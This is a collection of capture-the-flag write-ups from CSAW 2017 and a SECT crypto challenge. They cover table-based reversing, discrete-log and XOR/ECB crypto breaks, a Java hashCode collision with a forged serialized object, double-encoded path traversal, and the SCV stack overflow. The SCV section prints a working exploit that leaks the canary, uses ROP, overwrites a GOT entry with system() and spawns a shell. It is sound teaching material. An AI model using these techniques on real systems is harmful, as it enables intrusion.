The lookup table is constructed in the following way: `[a_0, b_0, a_1, b_1, ..., a_254, b_254]` where `a_1, a_2, ..., a_254` are the input bytes and `b_1, b_2, ..., b_254` are the corresponding bytes that they are mapped to (`a_i -> b_i`). The function first determines the index of the input byte by iterating through the array with a stepsize of 2 and checks if `a_i` is equals the input byte. If the right index was found, it is used to query the array with an offset of 1 to find `b_i`. If we want to reverse the mapping, all we would have to do is swap out the two references to the lookup table such that the function would first determine the index on the `b_i` value and then find the corresponding `a_i` value. This only requires two little patches to the binary: First, increment the reference to `trans_tbl` at `loc_85D` and decrement the next reference to `trans_tbl` by 1. We do so and save the patched binary.
Now we can give the binary the constant value and it will reverse it for us so that we obtain the flag! Since we don't know how to pass non-printable characters to a `read()` call, we execute the binary with gdb and set a breakpoint after the read call to manually change the bytes in memory:
```$ gdb ./tablez
gdb-peda$ b *0x555555554938 // break after fgetsBreakpoint 1 at 0x555555554938
gdb-peda$ b *0x5555555549F7 // break on strcmpBreakpoint 2 at 0x5555555549f7
gdb-peda$ rStarting program: ./tablezPlease enter the flag: // input a 37 char long stringAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0000555555554938 in main ()gdb-peda$ n
gdb-peda$ p strcpy($rax, "\xCE\x65\x05\x99\x23\xF9\x27\x99\x23\xBE\x11\x11\x65\xB1\x99\x65\x23\x73\x99\x71\x1B\x30\xF4\xF9\xF9\xB3\x99\xBE\xB3\xB1\xE7\x11\xF5\x9D\x73\xB3\x27\x0a") // change string in memory to constant from binary$1 = 0xffffe320gdb-peda$ cContinuing.
Breakpoint 2, 0x00005555555549f7 in main ()gdb-peda$ x/s $rax // read flag from $rax after strcmp break0x7fffffffe320: "}3m_r0f_rett3b_3ra_spuk00l_elb4t{galf"```
Looks like the flag is reversed, let me fix that for you:```$ python -c 'print "}3m_r0f_rett3b_3ra_spuk00l_elb4t{galf"[::-1]'flag{t4ble_l00kups_ar3_b3tter_f0r_m3}```
Sweet!
|
# Madlog - Crypto - 200 points - 4 solvers
> Acid Burn broke into The Plague's home wifi and found, deep down in the darkness of the subnets, a server which emits peculiar data. Can you help her to compromise the server?>> Solves: 4>> Service: nc crypto.sect.ctf.rocks 31337>> Author: grocid
When we connect to the server, we are presented with a menu for requesting plaintexts and submitting. Sample session:
> nc crypto.sect.ctf.rocks 31337 madlog server starting... Options: 1. Request plaintext... 2. Submit... 1 q^e mod p = a g = 201527 e = 170889198766265986594054717664789561344 p = 156920319682269547550840440422064789702830774969897260932124088315247211163110865017305817005797304213752612556763228047723789794713560055335007282974774888 844332820576469678725018919853260647462367864702092052584778617621806467695299678199684012931325300660671488872927592192102428093535426026544017575524159 a = 149487841952747588106070346976004484066065895016918064204696247058119061554741530705085905723976501055498909092832058610177675891420269200781184130110986764 623289893864930014158982791705565650689999251993360069827833690069334186086036528157206789003293998862601492326728199651838658908930802147366865434202266 Options: 1. Request plaintext... 2. Submit... 2 q^e mod p = a g = 201527 p = 156920319682269547550840440422064789702830774969897260932124088315247211163110865017305817005797304213752612556763228047723789794713560055335007282974774888 844332820576469678725018919853260647462367864702092052584778617621806467695299678199684012931325300660671488872927592192102428093535426026544017575524159 a = 597934094089076143532715697600650370614454179755840791824457637108751510297208242434790303573192467040580829131109745276608239407552985180349820088145066583 2272019838798959446341805023813722554319877078103052572044138787266038718089266541619645975672452627374869278026996124184443323039815597938556981195604 Gimme e... you have 180 seconds! After a question to the organizers it was clarified that there is a typo and `q` is supposed to be `g`. So this is a [Discrete logarithm](https://en.wikipedia.org/wiki/Discrete_logarithm) challenge. `e` is pretty large, so unless there is some trick, it seems impossible. But we take a second look at `e`, this time in hexadecimal:
170889198766265986594054717664789561344 = 0x80901000800000000000402450008000 Hmm. That's a LOT of zero bytes. And some of the remaining bytes also seem slightly odd.
After getting more plaintexts, we see a pattern: each number will be 128 bits, have at most 11 bits set, with 1 << 127 always being set and the last bit always being cleared. Again the example number, this time in binary:
0b10000000100100000001000000000000100000000000000000000000000000000000000000000000010000000010010001010000000000001000000000000000
This must be exploitable somehow! We also notice that `g` and `p` never change. After some thinking we come up with a way to use the [Baby-step Giant-step](https://en.wikipedia.org/wiki/Baby-step_giant-step) algorithm:
* Precompute a large database of `m, e1` pairs where `m = q^e mod p` and `e1` got 5 random bits between 1 and 126 set* Connect and get the target `a`* Randomly generate a number `e2` with 1 << 127 and 5 other random bits between 1 and 126 set* Compute `m = a * (q^-1)^e2 mod p` and see if the result is in our precomputed database* If not found, repeatedly generate new `e2` and compute `m` until a match is found, or time limit expires* If time limit expires, reconnect and get a new `a`* If a match is found, calculate candidate `e = e1+e2`, then if `a == g^e mod p` we give `e` to the server
This works because the logarithms "meet in the middle" at `m`. Since the algorithm is probabilistic, we are not guaranteed to find a solution, but with a little bit of luck (And a lot of time waiting, took an hour or two) we finally got the flag `SECT{SHUT_UP_4ND_T4K3_MY_FL4G!!!}` |
We were provided a large img file, along with a website asking for a username and password.
First, the file system had to be mounted. The provided image had 2 partions. The larger of the two was mounted using the commands found [here](https://askubuntu.com/questions/69363/mount-single-partition-from-image-of-entire-disk-device). Seeing as the other part of the challenge was a web page asking for login, I looked for its source, which included login creds. Using those to login gave the flag.
```bashvagrant@vagrant-ubuntu-vivid-64:/vagrant/CTFs/old/csaw17/old$ fdisk -lu ./best_router.img
Disk ./best_router.img: 14.6 GiB, 15640559616 bytes, 30547968 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x7f39f284
Device Boot Start End Sectors Size Id Type./best_router.img1 8192 93813 85622 41.8M c W95 FAT32 (LBA)./best_router.img2 94208 30547967 30453760 14.5G 83 Linux
vagrant@vagrant-ubuntu-vivid-64:/vagrant/CTFs/old/csaw17/old$ python -c "print 94208 * 512"48234496vagrant@vagrant-ubuntu-vivid-64:/vagrant/CTFs/old/csaw17/old$ sudo losetup -o 48234496 /dev/loop0 ./best_router.imgvagrant@vagrant-ubuntu-vivid-64:/vagrant/CTFs/old/csaw17/old$ sudo mount /dev/loop0 /mntvagrant@vagrant-ubuntu-vivid-64:/vagrant/CTFs/old/csaw17/old$ cd /mntvagrant@vagrant-ubuntu-vivid-64:/mnt$ lsbin dev home lost+found mnt proc run srv tmp varboot etc lib media opt root sbin sys usrvagrant@vagrant-ubuntu-vivid-64:/mnt$ cd var/www/vagrant@vagrant-ubuntu-vivid-64:/mnt/var/www$ lsflag.txt index.pl login.pl password.txt username.txtvagrant@vagrant-ubuntu-vivid-64:/mnt/var/www$ cat username.txtadminvagrant@vagrant-ubuntu-vivid-64:/mnt/var/www$ cat password.txtiforgotaboutthemathtest```
Using the above credentials of admin:iforgotaboutthemathtest on the provided website gives usthe flag of "flag{but_I_f0rgot_my_my_math_test_and_pants}" |
#Not My Cup of Coffee## 300 points## Web
#### I heard you liked food based problems, so here's a liquid one.#### http://web.chal.csaw.io:8616
For this challenge, we were presented with a website to create hybrid coffeebeans or something. On the main page, a list is presented of all of the rootbean types. We're going to call them the root types since they don't have anyparent beans.
We did notice that a bean called flag was present, but appeared to be redactedto some extent. At this point, we determined that the flag most likely residedwithin that object somewhere.
When we scrolled down the page, we found a link for an admin login. This loginforbids any non alphanumeric characters. But in an attempt to browse to `/admin.jsp` directly, an error was thrown:
```25: String result;26: // NOTE: Change $ to s when page is ready27: auth.loadPassword("Pas$ion");28: if (!guess.matches("[A-Za-z0-9]+")) {29: result = "Only alphanumeric characters allowed";30: } else {31: result = auth.lookup(guess.hashCode());```
At this point, we were somewhat puzzled since we weren't quite sure how this tied into what we believed to be the objective to be. But we pressed on anyway.
As noted before, we knew that `Pas$ion` would not work for the login since wewere not allowed to include non alphanumeric characters in our password, so welooked into what exactly java's [hashCode()](https://en.wikipedia.org/wiki/Java_hashCode()) is and how it works. This method returns a 32 bit signed integer, and it is computed byte-wise.After looking a bit more into the implementation, we decided that it wouldn't be very hard to produce arbitrary collisions. A quick google gave us an[implementation of hashCode() in python](https://gist.github.com/hanleybrand/5224673) that we borrowed to make a collision[script](/hascode_collider.py) that accounts for the constraints of the permitted input. Using that yileded the result `ParDJon` that we could then use to loginto the admin page.
With this result, it wasn't immediately clear what to do next. We tried usingthat and collisions with it to authenticated into the app, but that didn'tget us anywhere. Let's abandon this for now.
Moving into the breeding page, we are able to give our new breed a name, adescription, and parents.
We noticed that if we left the description field blank, it would inherit thedescription of the first parent.
It became clear at this point that we needed to try to inherit the descriptionof the flag bean. In the breeding page form, the parent options appear to bebase64 encoded serialized bean object followed by a `-` and then finally some sort of hash corresponding to that object.
We then selected the `Raid` bean to try to patch to be `Flag` since the namesare the same length to see what results that yields us. It turns out, thatdoesn't really do much of anything. So now, we needed to figure out what thishash wash.
Since this has was 256 bits, we figured it was probably SHA256, but were unableto figure out what was being hashed. This was the most frustrating part of thischallenge. We were having to guess what the format for the input of this hashmight be, without knowing if it even was a hash in the first place. But we wereable to eventually get it.
Remember that string we got from logging in as admin before?
```>>> import hashlib>>> salt = 'c@ram31m4cchi@o'>>> covfefe, covfefe_hash = 'rO0ABXNyABJjb2ZmZWUuQ292ZmVmZUJlYW4AAAAAAAAAAQIAA\ HhyAAtjb2ZmZWUuQmVhbgAAAAAAAAABAgAETAAHaW5oZXJ\ pdHQADUxjb2ZmZWUvQmVhbjtMAARuYW1ldAASTGphdmEvb\ GFuZy9TdHJpbmc7TAAHcGFyZW50MXEAfgACTAAHcGFyZW5\ 0MnEAfgACeHBwdAAHQ292ZmVmZXBw-7ed88df1a47853cf\ 4f9b8b404a10ae50320765a8918ba2fa9960bb17585466\ f9'.split('-')>>> h = hashlib.sha256()>>> h.update(covfefe + salt)>>> h.hexdigest() == covfefe_hashTrue```
Ok, so now we can produce the corresponding hashes. Let's hope that our assumption about just changing the string in the serialized object before isenough...
and boom goes the dynamite.
We put together a [solution script](win.py) if anyone is interested. |
# Another Xor## Crypto - 100
#### Hey, hey can you find my secret.
We're given two files: a text file with a hex-encoded encrypted message and the python script used to perform the encryption. Our task is, of course, to decrypt the message. Let's take a look at the python script:```pythonimport hashlibimport sys
def xor(s1,s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
def repeat(s, l): return (s*(int(l/len(s))+1))[:l]
key = sys.argv[1]plaintext = sys.argv[2] + keyplaintext += hashlib.md5(plaintext).hexdigest()cipher = xor(plaintext, repeat(key, len(plaintext)))print cipher.encode('hex')```
The hex-encoded ciphertext is `274c10121a0100495b502d551c557f0b0833585d1b27030b5228040d3753490a1c025415051525455118001911534a0052560a14594f0b1e490a010c4514411e070014615a181b02521b580305170002074b0a1a4c414d1f1d171d00151b1d0f480e491e0249010c150050115c505850434203421354424c1150430b5e094d144957080d4444254643`.
This cipher has pen-and-paper roots in the [Vigenère cipher](https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher), where a keyword is repeated so that it is as long as the plaintext and modular arithmetic gives the ciphertext. Here, we do pretty much the same thing - we repeat the key so that it is as long as our plaintext, except now we xor the plaintext and repeated key together to produce the ciphertext.
At first I wasn't sure what to make of the md5 hash part, but it ended up being this encryption scheme's downfall. The plaintext is the message followed by the key followed by the hex-encoded md5 hash of the concatenated message and key. The important thing to note here is that `hexdigest()` returns a _string_ of hex characters. Since an md5 hash is 16 bytes long, we get 32 characters when we represent it as a string and append it to our message and key. Our ciphertext is 137 bytes long, so the first 105 correspond to the message and key while the last 32 correspond to the hash.
We can easily get the first five bytes of the key since we know that the message starts with `flag{`. We simply xor the first five bytes of the ciphertext with `flag{`. Conveniently, the folks over at CSAW have already written a function that will do this xor for us. How sweet of them!
Five unique characters - so our key is at least five bytes long. Now to see why the md5 part will help us break this cipher, let's draw a little diagram of the decryption process:
```[ ciphertext ][key text][key text][key text][key text]-------------------------------------------XOR[message text][key text][hex characters]```
When we xor the parts of the key that line up with the last 32 bytes of ciphertext with that part of the ciphertext, we know we have to get hex characters. Since we know the first five bytes of the key, we can simply keep trying different key lengths until we find one that makes this happen. Since our message and key have a combined total of 105 bytes, 99 bytes is a pretty generous upper bound on the key length.
```pythonkey_prefix = 'A qua'with open('encrypted', 'r') as cipher_file: cipher = cipher_file.read().decode('hex')
def guess_key_length(): for i in range(94): k = key_prefix + ('A'*i) decryption = xor(cipher, repeat(k, len(cipher))) hopefully_hex = '' for j in range(105, len(decryption)): if j%len(k) < 5: hopefully_hex += decryption[j] try: num = int(hopefully_hex, 16) print(str(len(k))) except: pass```
With the key length guessed, we can iteratively find the rest of the key. To see why, let's redraw our decryption diagram, representing unknown bytes of the key with `X`'s:
```[ ciphertext ][A quaXXXXXX][A quaXXXXXX][A quaXXXXXX][A quaXXXXXX]------------------------------------------------------XOR[ message text ][A quaXXXXXX][ hex characters ]```Notice now the beginning of the third key block lines up with unknown bytes of the key that appears in the plaintext. When we xor the ciphertext with the repeating key, we uncover those unknown bytes. We then add them to the key and repeat this process until all bytes of the key are uncovered. Finally, we can decrypt the ciphertex with the key:
```pythondef decrypt(): key = key_prefix + ('~' * 62) #key probably doesn't contain ~ while '~' in key: plaintext = '' for i in range(len(cipher)): if key[i%67] == '~': plaintext += '~' else: plaintext += chr(ord(cipher[i]) ^ ord(key[i%67])) key = key_prefix + plaintext[43:105]
print key message = xor(cipher, repeat(key, len(cipher)))[:38] print message``` |
# ▼▼▼Orange v1(Web:100)▼▼▼ (421/1444 team=29.2%)**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```I wrote a little proxy program in NodeJS for my poems folder.Everyone wants to read flag.txt but I like it too much to share.http://web.chal.csaw.io:7311/?path=orange.txt```
### 【function】GET /?path=orange.txt
↓
`i love oranges`
### 【goal】find **flag.txt**
### 【Search for vulnerabilities】
GET /?path=
↓
```<html><title>Directory listing for /poems/</title><body><h2>Directory listing for /poems/</h2><hr>burger.txthaiku.txtorange.txtppp.txtthe_red_wheelbarrow.txt<hr></body></html>```
↓
**Directory listing vulnerability★**
-----
GET /?path=../
GET /?path=..
↓
`WHOA THATS BANNED!!!!`
↓
**..(dot) is detected!!★**
-----
**Double encode**(https://www.owasp.org/index.php/Double_Encoding)
↓
GET /?path=**%252e%252e**/
↓
```<html><title>Directory listing for /poems/../</title><body><h2>Directory listing for /poems/../</h2><hr>.dockerignoreback.pyflag.txtpoems/serve.shserver.js<hr></body></html>```
↓
Success!!★
-----
GET /?path=%252e%252e/flag.txt
↓
**flag{thank_you_based_orange_for_this_ctf_challenge}**
-----
### -----Reference: Other source code)-----GET /?path=%252e%252e/server.js
↓
```var http = require('http');var fs = require('fs');var url = require('url');
var server = http.createServer(function(req, res) { try { var path = url.parse(req.url, true).query; path = path['path']; if (path.indexOf("..") == -1 && path.indexOf("ＮＮ") == -1) { var base = "http://localhost:8080/poems/"; var callback = function(response){ var str = ''; response.on('data', function (chunk) { str += chunk; }); response.on('end', function () { res.end(str); }); } http.get(base + path, callback).end(); } else { res.writeHead(403); res.end("WHOA THATS BANNED!!!!"); } } catch (e) { res.writeHead(404); res.end('Oops'); }});server.listen(9999);```
-----
GET /?path=%252e%252e/back.py
↓
```#!/usr/bin/python
import SimpleHTTPServerimport SocketServer
PORT = 8080
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "Serving at port", PORThttpd.serve_forever()```
-----
GET /?path=%252e%252e/serve.sh
↓
```#!/usr/bin/env bash
python back.py &nodejs server.js```
-----
GET /?path=.%252e/.dockerignore
↓
```Dockerfiledocker-compose.ymlREADME.md``` |
# SCV## Pwn 100
#### shareef12
SCV is too hungry to mine the minerals. Can you give him some food?
nc pwn.chal.csaw.io 3764
This was fairly low point value pwnable. I expected it to be fairly straightforward, but there were a few minor things that slowed down exploitation.Stripped x86-64 binary presented a simple menu with three options.
user@reversing:~/csaw/scv$ file scv scv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8585d22b995d2e1ab76bd520f7826370df71e0b6, stripped user@reversing:~/csaw/scv$ ./scv ------------------------- [*]SCV GOOD TO GO,SIR.... ------------------------- 1.FEED SCV.... 2.REVIEW THE FOOD.... 3.MINE MINERALS.... ------------------------- >>
The first option would read data into a buffer, the second would print the samebuffer back to you, and the third would simply return. Due to the simpleinterface, seems like a pretty straight forward buffer overflow. Passing in alarge cyclic buffer seemed to cause it to flood my terminal with invalid inputmessages. From here I started reversing statically.
Input from the user is obtained with a call to `read()` from stdin, with a sizeof 0xf8 bytes. Fortunately for us, the destination buffer starts at `$rbp-0xb0`.
If we write a buffer of at least 0xb8 bytes, we should be able to control RIPwith space for 0x40 bytes of ROP chain. Let's try it.
user@reversing:~/csaw/scv$ python -c "print 'a'*0xb8 + 'bbbbcccc'" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc user@reversing:~/csaw/scv$ ./scv ------------------------- [*]SCV GOOD TO GO,SIR.... ------------------------- 1.FEED SCV.... 2.REVIEW THE FOOD.... 3.MINE MINERALS.... ------------------------- >>1 ------------------------- [*]SCV IS ALWAYS HUNGRY..... ------------------------- [*]GIVE HIM SOME FOOD....... ------------------------- >>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc ------------------------- [*]SCV GOOD TO GO,SIR.... ------------------------- 1.FEED SCV.... 2.REVIEW THE FOOD.... 3.MINE MINERALS.... ------------------------- >>3 [*]BYE ~ TIME TO MINE MIENRALS... *** stack smashing detected ***: ./scv terminated Aborted (core dumped)
Oh no. Looks like there's a stack canary.
user@reversing:~/csaw/scv$ checksec scv [*] '/home/user/csaw/scv/scv' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
Since we can print our buffer, it shouldn't be hard to leak the canary valuethough. All we have to do is provide enough input so that there are no nullbytes between the end of our buffer and the start of the canary. The canary isat `$ebp-0x8` so if supply 0xa8 bytes, we should be able leak the canary value.
My initial attempt only printed the buffer. Examining the buffer in gdb showedthat the canary always started with a NULL byte. Writing an extra character(0xa9 bytes total) allows us to leak the canary every time.
user@reversing:~/csaw/scv$ python -c "print 'a'*0xa9" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa user@reversing:~/csaw/scv$ ./scv ------------------------- [*]SCV GOOD TO GO,SIR.... ------------------------- 1.FEED SCV.... 2.REVIEW THE FOOD.... 3.MINE MINERALS.... ------------------------- >>1 ------------------------- [*]SCV IS ALWAYS HUNGRY..... ------------------------- [*]GIVE HIM SOME FOOD....... ------------------------- >>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ------------------------- [*]SCV GOOD TO GO,SIR.... ------------------------- 1.FEED SCV.... 2.REVIEW THE FOOD.... 3.MINE MINERALS.... ------------------------- >>2 ------------------------- [*]REVIEW THE FOOD........... ------------------------- [*]PLEASE TREAT HIM WELL..... ------------------------- aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ��~�2�@@
Now that we can leak the canary, I wrote some code to parse it out and use it inour overflow buffer so we pass the canary check.
```python# Fill buffer with non-zero up until stack cookieconn.recvuntil(">>")feed_scv("a" * 0xa9) # plus one (first char of the stack cookie is 0)
# Leak the stack cookielog.info("Leaking stack cookie")data = review_food()cookie = "\x00" + data[0xa9:0xb0]log.info("Stack cookie: " + cookie.encode("hex"))```
Since this challenge involves remote exploitation, we can assume ASLR is on, sowe'll need some form of ROP to get code execution. Unfortunately, we only have64 bytes to do this with (only 8 gadgets). Additionally, since this is x64arguments are passed in registers making ROP a little harder. My initial planwas to use read() to read in a second larger ROP chain into the data section andpivot to it. This would allow us to use a ROP chain of arbitrary length and getaround the 64-byte restriction. However when the function returns, rdx was 0, andI couldn't find a pop rdx gadget in the binary.
Instead of pursuing this further, I decided to try and leak the address to libcso I could use that for gadgets instead. We can use puts() to read an addressfrom the GOT and use the provided copy of libc to calculate libc base. Fromthere, if we simply return back to the start of main(), we can restart theprogram and exploit it again.
```python# Build the stage0 payload# Leak the addr of puts() from the GOT, then restart for stage 1stage0 = p64(SCV_POP_RDI_GADGET)stage0 += p64(scv.got["puts"])stage0 += p64(scv.plt["puts"])stage0 += p64(SCV_MAIN) # Jump back to main```
After leaking libc base, we calculate the address of system() and a `pop rdx`gadget within libc. We then rop to `read(stdin, scv.got["puts"], 8)` tooverwrite puts() with the next 8 bytes from stdin. Follow this ROP chain withyet another return to main(). We send the address of system after triggering thechain to overwrite puts().
```# Build the stage1 payload# Overwrite puts() with system(), then restart for stage 2stage1 = p64(SCV_POP_RDI_GADGET)stage1 += p64(0) # stdinstage1 += p64(pop_rsi)stage1 += p64(scv.got["puts"])stage1 += p64(pop_rdx)stage1 += p64(8)stage1 += p64(scv.plt["read"])stage1 += p64(SCV_MAIN) # Jump back to main```
Now that puts() is really system(), we can simply send `/bin/sh\x00` as ourbuffer and view it to trigger a shell.
user@reversing:~/csaw/scv$ ./solve.py [*] '/home/user/csaw/scv/scv' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/user/csaw/scv/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to pwn.chal.csaw.io on port 3764: Done [*] Leaking stack cookie [*] Stack cookie: 0014175537504b80 [*] Sending stage 0 (0xd8 bytes) [*] Found libc base: 0x7f76a648c000 [*] Found libc system(): 0x7f76a64d1390 [*] Found libc "pop rsi" gadget: 0x7f76a64ac2e8 [*] Found libc "pop rdx" gadget: 0x7f76a648db92 [*] Sending stage 1 (0xf8 bytes) [*] Overwrote puts() with system() [*] Sending /bin/sh [*] Switching to interactive mode $ ls flag scv $ cat flag flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11} $ [*] Interrupted [*] Closed connection to pwn.chal.csaw.io port 3764 |
# baby_crypt## Crypto - 350
#### The cookie is `input + flag` AES ECB encrypted with the sha256 of the flag as the key.#### `nc crypto.chal.csaw.io 1578`
When we hit up the challenge server, we're prompted to enter a username. Our input is prepended to the flag then the whole plaintext is padded and run through AES in ECB mode. We're given the resulting ciphertext as a "cookie":
The vulnerability here is in how AES is used - [ECB mode](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29) (Electronic Code Book). Briefly, the ECB mode of operation breaks the plaintext up into 16 byte blocks and _independently_ encrypts each, producing a 16 byte ciphertext block for each plaintext block. So if we have key `k`, and `n` blocks of plaintext `m_1`, ..., `m_n`, we get `n` blocks of ciphertext, `c_1`, ..., `c_n` as follows:
```( m_1 )( m_2 ) ... ( m_n ) \ / \ / \ / \ / \ / \ / enc(m_1, k) enc(m_2, k) enc(m_n, k) / \ / \ / \ / \ / \ / \( c_1 )( c_2 ) ... ( c_n )```
One benefit to using this mode of operation is that it can be parallelized, since the encryption of each block of plaintext is independent of all the others. However, this independence tells us that two blocks of ciphertext are the same if and only if their corresponding blocks of plaintext are the same. This correspondence is what will net us the flag.
First, let's see what happens when we enter a blank username:
We get 32 bytes of ciphertext, so our message is two 16 byte blocks (when padded). Let's pretend that we don't know that the message begins with `flag` and just represent the first block of the message with 16 consecutive `X`'s. If we enter 15 consecutive `A`'s as our username, the plaintext that gets encrypted will look like this:
```(AAAAAAAAAAAAAAAX)(XXXXXXXXXXXXXXXY)(Y...```
We have complete control over the first 15 bytes of the first block and the last byte is the first byte of the message. Let's throw this at the challenge server:
The first 15 bytes of ciphertext, `79d6ef8b25ab8e64c452f9f5eb90e418`, is the encryption of `AAAAAAAAAAAAAAAX`. To uncover the first byte of the message, we enter our 15 `A`'s again, now followed by a guess at what `X` might be:
By the one-to-one correspondence between plaintext and ciphertext blocks we discussed earlier, since the encryption of `AAAAAAAAAAAAAAAf` matches the encryption of `AAAAAAAAAAAAAAAX`, we have that `X` must be `f`.
To get the second byte of plaintext, we apply the same reasoning. We start by entering 14 `A`'s and recording the first 16 bytes of ciphertext. Then we send 14 `A`'s, followed by the first known byte of the message, `f`, followed by our guess at the second byte:
The second message byte must then be `l`. We continue in the same fashion to get the first block of the message.
We use the same idea to get the second block. We send 15 `A`'s, but this time we record the second 16 bytes of ciphertext. Then we send 15 `A`'s, followed by the first 16 bytes of the message, followed by our guess at the 17th byte. Repeat until the second 16 bytes of ciphertext match what we've recorded.
The moral of the story is don't use ECB mode. |
# tablEZ## Reversing 100
#### shareef12
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
This was the first reversing challenge for csaw. Unstripped x86-64 binary thatsimply asked for a flag and exited.
user@reversing:~/csaw/tablEZ$ file tablEZ tablEZ: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=72adea86090fb7deeb319e95681fd2c669dcc503, not stripped user@reversing:~/csaw/tablEZ$ ./tablEZ Please enter the flag: aaaa WRONG
Some static reversing reveals the binary was pretty small, with the mainfunction looping through the input and replacing each character with the resultof `get_tbl_entry`. After checking the length of the input (has to be 37), it iscompared with an "encrypted" copy of the flag.
`get_tbl_entry` uses a substitution table to replace bytes. The substitutiontable is 512 bytes, consisting of 256 key-value pairs of bytes.
All we have to do is pull out the encrypted flag bytes, the substitution tables,and reverse the algorithm. I used an [idapython script](solve.py) to do this.
flag{t4ble_l00kups_ar3_b3tter_f0r_m3} |
[https://noobsinthehood.gitbooks.io/nith/content/fornsics-150-missed-registration.html](https://noobsinthehood.gitbooks.io/nith/content/fornsics-150-missed-registration.html) |
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